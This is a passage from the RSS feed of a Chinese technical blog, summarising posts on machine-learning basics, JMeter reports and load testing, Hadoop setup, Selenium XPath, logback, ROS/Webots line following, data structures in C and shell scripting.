function能够自己定义，常使用的一种定义如下：给定一个函数，即给定一个线性函数的权重和偏置，计算每一个训练数据根据该函数计算出来的y值与实际y值之间的偏差再求和。（最小二乘法）（w和b就是权重和偏置，y^就是实际值，n代表第n个值，并不是n次方，cp不用管，是题目里的一个下标）&#xA;（3）从函数集合中挑选出最好的一个函数，即Loss值最小的函数，也即找到使得Loss值最小的一组权重和偏置。 求解最好的一组权重和偏置的一种好方法是Gradient Descent，梯度下降，只要Loss函数是可微分的，Gradient Descent就能够帮助找到较好的参数。&#xA;比如Loss函数是一个参数的，可以穷举Loss函数的所有可能的情况，然后取随机值（取Loss函数上某一个点），计算微分（其实就是计算导数），根据计算结果大小即正负决定下一个值取在哪（事先规定一个η决定移动距离的远近），迭代多次，当导数结果为0时，则求得较好的参数，但可能是局部最优解（在线性回归中不会出现局部最优解这种情况，不会因为取随机值的不同而产生结果不同）。&#xA;当Loss函数是两个参数时，其实也差不多，仍然取随机的一组参数，然后分别计算对每个参数的偏微分（偏导数），然后再更新着两个参数，迭代多次找到较好的一组参数。&#xA;Gradient其实就是将求得的偏微分排成一个列向量。&#xA;实际例子：&#xA;（4）找出一组较好的参数后，也即确定了我们的模型，利用测试集来测试模型的效果，然后根据测试的效果再对模型进行调整优化，甚至是重新设计。（并不一定要设计过于复杂的模型，过于复杂的模型可能会导致过拟合现象，在训练集的表现很好，到测试集的表现就拉跨）因此我们要重新回到第一步，根据前面得到的模型，重新设置我们的函数集合。&#xA;（5）有了新的函数集合后，也要重新设计Loss函数，比如在原先的基础上加上用于Regularization（正则化）的一项用于平滑函数（λ后期要进行调整，平滑函数一般都只跟权重wi有关，跟偏置b无关，因为偏置b只是让函数上下移动0）。（比较平滑的函数在收到非正常输入的时候会受到较少的影响，在测试集上的表现可能会更好，但注意不能过于平滑）&#xA;（二）误差来源 我们构建出来的模型与实际存在误差的主要原因来源于偏差bias和方差variance。我们比较喜欢的模型就是低偏差和低方差的模型，偏差越小点距离中心就越近，方差越小数据就越集中。 较简单的模型的方差一般会比较小，因为不容易受到样本数据的影响，模型越复杂，方差就可能越大。&#xA;较简单的模型的偏差一般会比较大，而较复杂的模型偏差可能会比较小。较简单的模型包含的结果范围会比较小，可能并没有把中心值（实际值）包含进去，而较复杂的模型包含的结果范围会比较大，把中心值（实际值）包含进去的可能性更大。&#xA;可以看到，偏差随着模型的复杂程度上升而下降，方差随着模型的复杂程度上升而上升，由方差过大所引起的错误就是过拟合现象，由偏差过大所引起的错误就是欠拟合现象。&#xA;如果你的模型无法拟合你的训练集，那么可能你的模型的bias是大的，代表是欠拟合的，与正确的模型还存在着一定的距离。bias大说明目前你的模型可能并不包含实际值（实际的模型计算出来的值），那么接下来需要做的就是重新设计模型的式子（考虑更高方次或者更多的特征），模型不好收集更多的数据也没有作用。&#xA;如果你的模型可以拟合训练集，但是在测试集上表现并不好，那么可能你的模型的variance是较大的，代表是过拟合的。接下来要做的就是收集更多的数据（往往有困难，但不会对偏差bias造成影响），也可以对Loss函数进行Regularization，那么最终得到的模型也会变得平滑一点（多次训练得到的模型会相对集中一点，variance就会降低一点，但是可能会对bias产生影响，因为调整后每次训练后得到的模型会偏向于平滑的模型，可能没有办法包含实际的模型，这时候就需要在variance和bias做一下权衡）。&#xA;如果现在有训练集跟测试集的话，如果通过训练集得到几个模型后，然后通过测试集来选择最终的模型，那么这个模型对于实际数据来说可能效果并没有想象中那么好。较可靠的做法应该是这样，将训练集分成训练集和验证集，分出来的训练集拿来训练模型，验证集拿来选择最终的模型（如果觉得分成训练集和验证集后会导致原有训练集数据减少的话，那么也可以在利用验证集选择了最终的模型后，再拿原先整个训练集对这个模型进行再次训练），这样得到的最终模型在测试集上的表现，跟真实数据的表现才应该是差不多的。 如果觉得利用上面这种做法可信度不高的话，那么可以进行n折交叉验证得到最终模型。比如采用三折交叉验证的话，将原先的训练集分为三份，依次让三份中的两份当训练集，另一份当验证集，然后对利用上面这种做法得到的几个模型重新训练并计算平均错误率，然后找到一个最好的模型，再将原先完整的训练集在这个模型上进行训练。&#xA;（三）Gradient Descent Gradient Descent：前面提到用Gradient Descent来求解函数集中较好的一组参数，这里补充一些在进行Gradient Descent时的细节。 在进行Gradient Descent时，在选取随机的一组参数之后，需要对这组参数进行不断更新，在参数进行更新的时候，除了要计算参数的偏微分之外，还涉及到一个参数η（学习率），对这个参数的设置不能太大或太小，因为太小了的话更新参数每次走的步伐会比较小，loss值的下降比较慢；太大的话每次更新参数的步伐又太大，可能会跳过最优的那组参数，也可能卡在某处出现loss不变化的情况。很多时候当参数的个数变多之后，就无法将参数的变化跟loss值的变化可视化出来，但是可以将loss值的变化跟η的变化可视化出来，来判断η值的好坏。进行Gradient Descent的时候往往需要将画出loss随η变化而变化的图。</description>
    </item>
    <item>
      <title>JMeter基础 — JMeter聚合报告详解</title>
      <link>https://bchobby.github.io/posts/69880691726b9e843f97828e32f19894/</link>
      <pubDate>Mon, 12 Jul 2021 15:21:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69880691726b9e843f97828e32f19894/</guid>
      <description>提示：聚合报告组件的使用和察看结果树组件的使用方式相同。本篇文章主要是详细的介绍一下聚合报告组件内容，不做示例演示。&#xA;1、聚合报告介绍 在使用JMeter进行性能测试时，聚合报告(Aggregate Report)可以说是必用的监听器。&#xA;（1）聚合报告的生成方式&#xA;聚合报告有2中生成方式：&#xA;在已有.jtl文件的情况下，直接选择加载文件即可生成聚合报告。在运行JMeter的过程中，动态生成聚合报告。 提示：我们一直使用GUI模式操作JMeter，所以看到的聚合报告组件中的内容，是第二种生成方式。等之后我们介绍非GUI模式操作JMeter时，会讲解第一种方式生成的聚合报告。&#xA;（2）聚合报告的数据来源&#xA;聚合报告中统计的数据来源，其实都是从统计的SampleResult中收集的数据。&#xA;需要特别注意的是：&#xA;聚合报告中的每一行，代表一个请求。注意：同名的请求会只显示一个，把结果合并。聚合报告中的每一列信息，是由SamplingStatCalculator类的不同方法实现统计的，相同名称的请求会共用同一个SamplingStatCalculator。不管是JMeter实时生成聚合报告，还是根据已经存在.jtl结果文件生成的聚合报告，最终的底层都是调用StatGraphVisualizer类的add(sampleResult)方法来生成表格的一行数据，传递的参数为每个请求的请求结果（sampleResult）信息。 add方法的调用时机：&#xA;1）根据.jtl文件生成报告时，每解析一行数据就调用一次add方法。&#xA;2）实时运行生成聚合报告，每请求一次，就调用一次add方法。&#xA;提示：&#xA;1、注意：使用聚合报告时，测试计划中不要用相同的的请求取样器名称。&#xA;2、观察聚合报告的结果发现，聚合报告是累加的，即每次运行的结果统计都是基于前一次运行的结果进行统计，包括发起的请求样本数等都是叠加的。&#xA;2、聚合报告界面详解 添加聚合报告组件方式：选中“线程组”右键 —&amp;gt; 添加 —&amp;gt; 监听器 —&amp;gt; 聚合报告。&#xA;界面内容如下图所示：&#xA;聚合报告界面说明：&#xA;名称：聚合报告组件的自定义名称，见名知意最好。注释：即添加一些备注信息，对该聚合报告组件的简短说明，以便后期回顾时查看。 （1）将所有数据写入一个文件&#xA;在JMeter中，我们可以将脚本测试中每个用户的访问内容，都存储到一个文件中。&#xA;需要操作聚合报告组件中的如下位置：&#xA;说明：&#xA;文件名：输入一个文件的完整路径，后缀可以为.csv，.html等。文件若不存在，则创建该文件；若已存在该文件，运行结果选择覆盖原有文件即可。&#xA;显示日志内容：&#xA;1）仅日志错误：仅保存错误的日志信息到文件中。&#xA;2）仅成功日志：仅保存正常响应的日志信息到文件中。&#xA;配置（configure）：配置测试结果文件中需要记录的内容，可以依据自己需求来选择。&#xA;如下图所示：&#xA;提示：我们可以点击“浏览”按钮，选择已存储的聚合报告文件，来查看之前脚本的请求结果。&#xA;（2）聚合报告列表项介绍&#xA;1、Label：请求的名称，就是脚本中Sampler的名称。&#xA;2、#Samples（样本）：总共发给服务器的请求数量，如果模拟10个用户，每个用户迭代10次，那么总的请求数为：10*10 =100次。&#xA;3、Average（平均值）：默认情况下是单个Request的平均响应时间，当使用了Transaction Controller（事务控制器） 时，也可以用Transaction的时间，来显示平均响应时间 ，单位是毫秒。&#xA;4、Median（中位数）：50%用户的响应时间小于该值。&#xA;5、90% Line（90% 百分位）：90%用户的响应时间小于该值。&#xA;6、95% Line（95% 百分位）：95%用户的响应时间小于该值。&#xA;7、99% Line（99% 百分位）：99%用户的响应时间小于该值。&#xA;8、Min（最小值）：最小的响应时间。&#xA;9、Maximum（最大值）：最大的响应时间。&#xA;10、Error%（异常%）：错误率=错误请求的数量/请求的总数。&#xA;11、Throughput（吞吐量）：默认情况下表示每秒完成的请求数（Request per Second）。&#xA;12、Received KB/sec （接收数据）：每秒从服务器端接收到的数据量。&#xA;13、Sent KB/sec（发送）：每秒发送到服务器端的数据量。</description>
    </item>
    <item>
      <title>中国科学院国家空间科学中心简介</title>
      <link>https://bchobby.github.io/posts/90d18892d04a40f2256ac9244a6b7875/</link>
      <pubDate>Mon, 12 Jul 2021 14:13:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90d18892d04a40f2256ac9244a6b7875/</guid>
      <description>背景介绍 中国科学院国家空间科学中心是中国空间科学及其卫星工程项目的总体性研究机构，面向全中国的空间科学创新平台，负责组织开展国家空间科学发展规划研究，具体负责中国科学院空间科学先导专项的组织与实施，开展空间科学及相关应用领域的创新性科学与技术研究工作，为空间科学先导专项及未来发展提供科学与技术支撑，引领空间科学发展，带动空间技术创新。&#xA;中国科学院国家空间科学中心的前身可追溯至开创了中国人造卫星事业的“中国科学院‘581’组办公室”（简称“581”组）。1&#xA;宣传幻灯片 百度百科 ↩︎</description>
    </item>
    <item>
      <title>嵌入矩阵（Embedding Matrix）</title>
      <link>https://bchobby.github.io/posts/8c0fc73a1187fdec3a456483e67cdd35/</link>
      <pubDate>Mon, 12 Jul 2021 10:11:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c0fc73a1187fdec3a456483e67cdd35/</guid>
      <description>来源：Coursera吴恩达深度学习课程&#xA;这篇文章将探讨学习词嵌入的具体化，当我们应用算法来学习词嵌入时，实际上是学习一个嵌入矩阵（embedding matrix）。&#xA;和之前一样，假设我们的词汇表有10,000个单词，词汇表里有a，aaron，orange，zulu，可能还有一个未知词标记UNK。我们要做的就是学习一个嵌入矩阵E，它将是一个300×10,000的矩阵，如果你的词汇表里有10,000个，或者加上未知词就是10,001维。这个矩阵的各列代表的是词汇表中10,000个不同的单词所代表的不同向量。假设orange的单词编号是6257，代表词汇表中第6257个单词，我们用符号O_6257来表示这个one-hot向量（这个向量除了第6527个位置上是1，其余各处都为0），显然它是一个10,000维的列向量，它只在一个位置上有1，它的高度和左边的嵌入矩阵的宽度（行数）相等。&#xA;假设用嵌入矩阵E去乘以O_6257，那么就会得到一个300维的向量，E是300×10,000的，O_6257是10,000×1的，所以它们的积是300×1的，即300维的向量。以此类推，直到你得到这个向量剩下的所有元素。得到的300维向量我们记为e_6257，这个符号是我们用来表示这个300×1的嵌入向量（embedding vector）的符号，它表示的单词是orange。&#xA;要记住我们的目标是学习一个嵌入矩阵E。在之后的操作中你将会随机地初始化矩阵E，然后使用梯度下降法来学习这个300×10,000的矩阵中的各个参数，E乘以one-hot向量会得到嵌入向量。但当你动手实现时，用大量的矩阵和向量相乘来计算它，效率是很低下的，因为one-hot向量是一个维度非常高的向量，并且几乎所有元素都是0，所以矩阵向量相乘效率太低。所以在实践中你会使用一个专门的函数（function）来单独查找矩阵E的某列，而不是用通常的矩阵乘法来做，但是在画示意图时（上图所示，即矩阵E乘以one-hot向量示意图），这样写比较方便。&#xA;在本篇文章中我们见到了在学习嵌入向量的过程中用来描述这些算法的符号（notations）以及关键术语（key terminology），矩阵E它包含了词汇表中所有单词的嵌入向量。&#xA;说明：记录学习笔记，如果错误欢迎指正！转载请联系我。</description>
    </item>
    <item>
      <title>selenium之xpath元素定位方法</title>
      <link>https://bchobby.github.io/posts/b8b5bed256c5fdcbe46258cd33ce7ce8/</link>
      <pubDate>Sun, 11 Jul 2021 19:16:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8b5bed256c5fdcbe46258cd33ce7ce8/</guid>
      <description> 1.火狐浏览器有个好用的插件(releative xpath assistant)可以根据表格元素书写xpath,我将它用于按名称定位表格中的内容。&#xA;2.&#xA;2.1 相对定位 -- 以// 开头 如：//form//input[@name=&#34;phone&#34;]&#xA;2.2 绝对定位 -- 以/ 开头，但是要从根目录开始，比较繁琐，一般不建议使用 如：/html/body/div/a&#xA;3.&#xA;3.1【文本定位】使用text()元素的text内容 如：//button[text()=&#34;登录&#34;]&#xA;3.2【模糊定位】使用contains() 包含函数 如：//button[contains(text(),&#34;登录&#34;)]、//button[contains(@class,&#34;btn&#34;)]&#xA;3.3 使用逻辑运算符 -- and、or；如：//input[@name=&#34;phone&#34; and @datatype=&#34;m&#34;]&#xA;4.&#xA;nodename选取此节点的所有子节点。/从根节点选取。//从匹配选择的当前节点选择文档中的节点，而不考虑它们的位置。.选取当前节点。..选取当前节点的父节点。@选取属性。 </description>
    </item>
    <item>
      <title>logback日志级别动态修改</title>
      <link>https://bchobby.github.io/posts/29610b75fc090d347cf9960b6825ee64/</link>
      <pubDate>Sun, 11 Jul 2021 11:20:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29610b75fc090d347cf9960b6825ee64/</guid>
      <description>问题:一般生产环境的日志级别都在INFO及以上，程序出现异常则需要结合更详细的日志去分析问题。这时候就需要动态的更改日志级别，以便定位问题。&#xA;解决方法:&#xA;1.自定义api动态修改日志级别&#xA;2.手动修改logback-spring.xml文件, 在configuration根节点配置属性scan和scanPeriod，scan为true时，配置文件被修改会被重新加载，scanPeriod定义了扫描文件变化的周期，默认6000毫秒。生产出现问题可以手动去修改，这种方式适用于服务节点很少，弊端就是定位出问题需要将日志级别更改回去。&#xA;&amp;lt;configuration scan=&#34;true&#34; scanPeriod=&#34;6000&#34;/&amp;gt;&#xA;3. 集成第三方工具&#xA;1)集成boot-admin或actuator&#xA;pom.xml引入包&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;de.codecentric&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-admin-starter-client&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;</description>
    </item>
    <item>
      <title>计算机网络中请求超时是什么意思,网络请求超时怎么解决</title>
      <link>https://bchobby.github.io/posts/b90fbd2b3bced4622f55e2ded3d337c8/</link>
      <pubDate>Sun, 11 Jul 2021 08:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b90fbd2b3bced4622f55e2ded3d337c8/</guid>
      <description>我们知道不少朋友在上网的时候,会遇到网络请求超时的情况,那造成网络请求超时的原因是什么呢?网络请求超时就是在程序默认的等待时间内没有得到服务器的响应.跟着小编一起来看看请求超时解决方法。&#xA;网络请求超时的原因：&#xA;1、网络不稳定，网络无法完整传送服务器信息 ;&#xA;2、网络断开，不过经常显示无法连接或是网络阻塞，导致你不能在程序默认等待时间内得到回复数据包 ;&#xA;3、系统：系统资源过低，无法为程序提供足够的资源处理服务器信息;&#xA;4、路由器、猫、网卡等设备故障，也会引起网络卡，建议先重启，如果不能解决，建议更换;&#xA;5、查看网络连接是否正常，可以给网络运营商打电话，要求查询线路，也可以将同网络内的其他人的网速限制一下;&#xA;6、全盘查杀病毒后重新联网。&#xA;7、电脑网卡驱动程序需要重新安装一下，再重新联网;&#xA;扩展资料：&#xA;网络连接超时常见解决办法：&#xA;1、检查网线，更换接口;&#xA;2、在早上上网人数少的时候注册;&#xA;3、使用加速软件，如果要下载东西尽量在没有网络使用需求情况下载;&#xA;4、杀毒;&#xA;5、如果使用网卡，可以更换一下网卡。&#xA;以上就是小编带来的网络请求超时怎么解决的全部内容，希望可以提供帮助。</description>
    </item>
    <item>
      <title>【Hadoop】Hadoop的目录结构和脚本与环境搭建（本地模式、伪分布模式和全分布模式）</title>
      <link>https://bchobby.github.io/posts/9ca1a30a4e4fee8ecada96664a4a4b1d/</link>
      <pubDate>Sun, 11 Jul 2021 01:30:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ca1a30a4e4fee8ecada96664a4a4b1d/</guid>
      <description>搭建Hadoop环境（本地模式、伪分布模式和全分布模式） 1 Hadoop的目录结构和脚本1.1 核实已有配置1.2 安装Hadoop1.3 Hadoop环境变量配置1.4 Hadoop主要脚本命令 2 本地模式搭建3 伪分布模式搭建4 全分布模式搭建4.1 准备工作4.2 Hadoop部署4.3 hadoop启动 手动反爬虫，禁止转载： 原博地址 https://blog.csdn.net/lys_828/article/details/118635494（CSDN博主：Be_melting） 知识梳理不易，请尊重劳动成果，文章仅发布在CSDN网站上，在其他网站看到该博文均属于未经作者授权的恶意爬取信息 1 Hadoop的目录结构和脚本 在进行Hadoop环境安装之前，需要对Hadoop的目录结构和主要脚本有个清晰的认知。&#xA;1.1 核实已有配置 在进行介绍之前核实一下之前的操作是否无误。&#xA;（1）首先看一下之前配置的主机名和IP地址（核实无误）&#xA;（2）防火墙关闭（核实无误）&#xA;（3）Java JDK和环境变量（核实无误）&#xA;（4）之前上传Java时候顺带上传了Hadoop安装包（核实无误）&#xA;其中最后面的tree-1.6.0-10.el7.x86_64.rpm文件就是执行tree指令要安装的一个文件&#xA;1.2 安装Hadoop 以上的内容核实无误后就可以进行Hadoop的安装了，解压安装包指令为：tar -zxvf hadoop-2.7.3.tar.gz -C ~/training/&#xA;安装tree指令文件：rpm -ivh tree-1.6.0-10.el7.x86_64.rpm&#xA;程序执行后的结果可以通过查看training文件夹下内容进行查看&#xA;至此Hadoop和tree都已经安装完成，那么就可以直接通过指令查看Hadoop的文件目录结构，具体的指令为：tree -d -L 3 hadoop-2.7.3/ 其中-d表示查看目录，-L表示查看深度，3表示3层，最后的输出结果为&#xA;1.3 Hadoop环境变量配置 既然是安装在Linux上的软件，为了方便使用，环境变量的设置必不可少。之前已经配置好了Java的环境变量，这里就是同样的操作，在Java环境变量之后追加Hadood的环境变量，代码指令和操作如下&#xA;切换路径：cd hadoop-2.7.3/&#xA;编辑环境变量：vi ~/.bash_profile&#xA;HADOOP_HOME=/root/training/hadoop-2.7.3 export HADOOP_HOME PATH=$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$PATH export PATH 环境变量生效：source ~/.bash_profile&#xA;环境变量检验：echo $HADOOP_HOME&#xA;然后是配置环境变量生效，进行echo检验&#xA;1.4 Hadoop主要脚本命令 开启服务：&#xA;Hadoop启动进程：start-all.sh（包含了启动HDFS和yarn）启动HDFS：strat-dfs.sh（对应NameNode、DataNode、SecondaryNameNode）启动yarn：start-yarn.sh（对应Nodemanager、ResourceManager） 关闭任务，将上面的start换成stop即可</description>
    </item>
    <item>
      <title>力扣76题（滑动窗口，难，暂时未解）</title>
      <link>https://bchobby.github.io/posts/0556daf0f1ed2238df58ad88df5b9d23/</link>
      <pubDate>Sun, 11 Jul 2021 00:04:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0556daf0f1ed2238df58ad88df5b9d23/</guid>
      <description> 来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/minimum-window-substring&#xA;著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。&#xA;给你一个字符串 s 、一个字符串 t 。返回 s 中涵盖 t 所有字符的最小子串。如果 s 中不存在涵盖 t 所有字符的子串，则返回空字符串 “” 。&#xA;注意：如果 s 中存在这样的子串，我们保证它是唯一的答案。&#xA;该题目是个困难题，又没有什么思路（哭）。先来看题解的暴力解法，遍历找到字符串s中的所有长度大于等于字符串t的子串，然后再从这些子串中找到含有字符串t中的字符的字符串，最后再从这么符合条件的子串中找到最短的子串。 </description>
    </item>
    <item>
      <title>数字信号处理思维导图</title>
      <link>https://bchobby.github.io/posts/086c871c11dff32a1ff664f8411d628e/</link>
      <pubDate>Sat, 10 Jul 2021 21:40:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/086c871c11dff32a1ff664f8411d628e/</guid>
      <description>一到六章&#xA;第六章&#xA;第二章&#xA;第一章&#xA;第三章&#xA;第五章&#xA;第四章</description>
    </item>
    <item>
      <title>数据结构（C语言）——2栈：FILO顺序判定</title>
      <link>https://bchobby.github.io/posts/393faaa71d1f8db3e6b0ac1201a05711/</link>
      <pubDate>Sat, 10 Jul 2021 21:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/393faaa71d1f8db3e6b0ac1201a05711/</guid>
      <description>趁着复习把课上的作业和代码上传上来嘿嘿嘿，这个系列的代码都是自己写的或者老师教学用的可能内存管理上有点小瑕疵，但是算法理解还是不错的！本系列所有代码在dev-cpp上可以跑通~&#xA;描述：&#xA;假设以ABCDEFG入栈（出栈顺序随机），现在给你一段出栈序列比如DACBEFG，判定是否满足FILO的要求。&#xA;思路：&#xA;先ABCDEFG进栈的时候看出栈序列，如果对上了，退栈，如果发现栈满了，或者到G都进完栈了，出栈的还是对不上，那就不满足，如果最后全都对上了，而且栈空了，那就是满足。&#xA;代码：&#xA;#include&amp;lt;stdio.h&amp;gt; int main(){ char v=&#39;A&#39;,s,Q[8]; Q[0]=v; int count=0,top=1; while(count&amp;lt;8){ scanf(&#34;%c&#34;,&amp;amp;s); count++; while(Q[top-1]!=s&amp;amp;&amp;amp;v&amp;lt;&#39;H&#39;){ Q[top++]=++v; } if(Q[top-1]==s&amp;amp;&amp;amp;v&amp;lt;=&#39;H&#39;){ top--; } else{ break; } } if(top){ printf(&#34;0&#34;); } else{ printf(&#34;1&#34;); } return 0; } 栈这结构其实用一个数组和一个top指针就可以维护了，出栈的话是Stack[--top]，入栈的话是Stack[top++]，注意前置和后置的区别，然后出栈顺序有一个231invalid的性质，就是如果入栈顺序是123，那么是一定不会出现231的出栈顺序的。</description>
    </item>
    <item>
      <title>ROS联合Webots之实现趣味机器人巡线刷圈</title>
      <link>https://bchobby.github.io/posts/ae706c471131b7c31c034f45fac5e6f7/</link>
      <pubDate>Sat, 10 Jul 2021 17:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae706c471131b7c31c034f45fac5e6f7/</guid>
      <description>ROS联合Webots实现机器人视觉巡线刷圈 注意：&#xA;再学习本系列教程时，应该已经安装过ROS了并且需要有一些ROS的基本知识 ubuntu版本：20.04&#xA;webots版本：2021a&#xA;ros版本：noetic&#xA;前言 最近看到Youtube上大部分博主都在做巡线，笔者也来凑凑热闹。&#xA;此项目基于tianbot_mini机器人完成。&#xA;项目开源地址：tianbot_mini_webots&#xA;效果 小车已经设置为最高速度10&#xA;ROS控制方案 在功能包中添加opencv库因为机器人要行使，所以首先要使能电机要用到camera，所以使能camera调整camera的前瞻角度写opencv检测算法更具PID控制算法控制两个轮子的速度 1. 配置功能包 1.1 配置CMakeLists.txt 自己找到相应位置添加&#xA;set(CMAKE_CXX_FLAGS &#34;-std=c++11&#34;) # 调用OpenCV配置:C++版本为11 find_package(OpenCV 4.2 REQUIRED) # 找OpenCV 4.2 安装路径 include_directories( ${OpenCV_INCLUDE_DIRS} # 加载OpenCV 4.2 安装路径 ) add_executable(tianbot_line_follow src/tianbot_line_follow.cpp) add_dependencies(tianbot_line_follow webots_ros_generate_messages_cpp) target_link_libraries(tianbot_line_follow&#x9;${catkin_LIBRARIES}) target_link_libraries(tianbot_line_follow&#x9;${OpenCV_LIBS}) # 使用到Opencv库需要通过Opencv链接库 2. 使能电机 笔者这边写了tianbot_velocity.cpp来使能左右电机，其主要代码如下所示：&#xA;// 初始化电机 for (int i = 0; i &amp;lt; NMOTORS; ++i) { // 速度控制时position设置为缺省值INFINITY(必须要这一步，否则webots会报错) set_position_client = n-&amp;gt;serviceClient&amp;lt;webots_ros::set_float&amp;gt;(string(&#34;/tianbot_mini/&#34;) + string(motorNames[i]) + string(&#34;</description>
    </item>
    <item>
      <title>Linux 命令行单机压测全流程</title>
      <link>https://bchobby.github.io/posts/1c52a265d83f365cdb0a55ba9987adde/</link>
      <pubDate>Sat, 10 Jul 2021 13:43:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c52a265d83f365cdb0a55ba9987adde/</guid>
      <description>安装环境&#xA;首先，在 Linux操作系统中压测，我们需要安装 JMeter环境，具体安装教程，可以看我这的另外一篇博客。 《Linux环境搭建JMeter》.&#xA;单机压测&#xA;安装好之后，我们将脚本文件上传到Linux，输入 jmeter -n -t 文件名称 进行压测&#xA;-n ：命令行模式，no GUI-t ：jmx脚本路径-l：jtl结果文件存放路径 压测数据分析&#xA;首先，我们看第三列的数据，每一行都是一串数字，这个数字则表示，在某个时间段我们的请求数，我们可以看到旁边有个 + 和 = 号，可以发现，第一列 1836 + 第 二列 12385 = 第三列的数据14221，由此我们不难发现他的请求数，是不断累计的。 下面我们可以看到，每30s秒，他的总请求数 这里显示的是我们的平均TPS，可以看到我们没秒钟可接收的请求数，平均是在453.0/s Avg 这个相信做过压测的朋友都不难理解，这里记录的是我们每秒的平均最小响应时间和最大响应时间。 这里显示的则是错误率，旁边是错误个数，后面是错误率。我们在压测的时候需要关注错误率，如果说错误率较高，那就意味着系统已经报错了，或者说脚本出现问题。那么我们需要进行排序错误原因。 Active：正在活动的线程数Started：已经启动的线程数Finished：已经结束的线程数 JMeter参数优化&#xA;我们进入到 JMeter的bin目录下，打开jmeter.properties配置文件&#xA;1、控制台取样间隔时间设置&#xA;summariser.interval=10，默认30s，最低可修改为6s&#xA;设置完成之后，我们可以除了第一次以外(因为这个跟Jmeter底层的配置有关），下方的数据，每10s就会更新一次。说明我们更改的配置文件已经生效了。&#xA;2、JVM参数优化&#xA;bin目录下， vi jmeter，修改HEAP的size大小，默认1024M，可以设置成2048M（前提是内存够） HEAP=&#34;-Xms2g -Xmx2g -XX:MaxMetaspaceSize=256m&#34;&#xA;3、默认编码修改&#xA;samplersult.default.encoding=UTF-8&#xA;jmeter结果报表&#xA;三种方式来获取JMeter的结果报告&#xA;在GUI模式下跑JMeter的脚本，用tps插件实时展示图标（在实际工作中，不推荐第一种执行方式，会影响JMeter的性能。）&#xA;在命令行模式下跑JMeter的脚本，生成jtl文件，在GUI界面的聚合报告里打开，可以展示tps和响应时间等。&#xA;使用如下命令，生成压测报告&#xA;jmeter -n -t Linux.jmx -l result2.jtl 执行之后，我们可以看到文件中新增了一个result2.jtl的文件&#xA;下面我们使用sz命令，将文件下载到我们电脑中。使用聚合报告打开文件即可&#xA;在命令行找下跑JMter的脚本，生成jtl文件，通过Jmeter自带的命令，生成html报表。&#xA;HTML报表生成步骤：&#xA;1、进入jmeter的bin目录下，修改reportgenerator.properties&#xA;2、修改jmeter.reportgenerator.overall_granularity = 1000(报表中数据展示间隔1秒）</description>
    </item>
    <item>
      <title>shell基础1</title>
      <link>https://bchobby.github.io/posts/4322f9acceb90009c592733ce6b4dc1b/</link>
      <pubDate>Fri, 09 Jul 2021 21:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4322f9acceb90009c592733ce6b4dc1b/</guid>
      <description>两条命令顺序执行命令间加；(cd /usr/ ; ls)&#xA;du 查看大小 du -sh du -sh*&#xA;wc -l 统计行数&#xA;选择指定的shell,声明shell位置 Sha-Bang&#xA;#!/bin/bash&#xA;#这里表示注释&#xA;bash file.sh&#x9;#（可以不用赋予执行权限就可以执行，会产生新的进程执行，执行完会回到当前目录） ./file.sh #（必须要有可执行权限，会产生新的进程执行，执行完会回到当前目录） source file.sh #(在当前进程运行，不会产生新的进程执行，执行完不会回到当前目录) .file.sh #(在当前进程运行，不会产生新的进程执行，执行完不会回到当前目录) 默认输入设备：标准输入STDIN文件描述符：0 /dev/xxx&#xA;默认输出设备：标准输出STDOUT文件描述符：1 /dev/xxx&#xA;标准错误输出：STDERR文件描述符：2 /dev/xxx&#xA;输入重定向 &amp;lt; 命令 &amp;lt; file.txt&#xA;输出重定向 &amp;gt;(清空输入) &amp;gt;&amp;gt;（尾部追加） 2&amp;gt;（错误重定向） &amp;amp;&amp;gt;（输出全部重定向）&#xA;设置变量&#xA;read 变量名（手动输入变量）&#xA;echo $变量名 （读取变量）&#xA;在脚本内生产另一个文件&#xA;cat &amp;gt; /date/file.sh &amp;lt;&amp;lt;EOF （EOF指定结束符）&#xA;（这里输入要写入文件的内容）&#xA;EOF(表示要写入的内容在这里结束)&#xA;shell 变量不区分类型，弱类型&#xA;设置变量&#xA;read 变量名（手动输入变量）&#xA;echo $变量名 （读取变量）&#xA;变量名=值 a=123 (不允许空格)谨防手抖&#xA;let为变量赋值 let a=10/2 计算性能最低（解释性脚本语言）</description>
    </item>
    <item>
      <title>JS中的Promise对象</title>
      <link>https://bchobby.github.io/posts/2e141eb36f44ec23a340880fd4aafd0a/</link>
      <pubDate>Fri, 09 Jul 2021 21:37:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e141eb36f44ec23a340880fd4aafd0a/</guid>
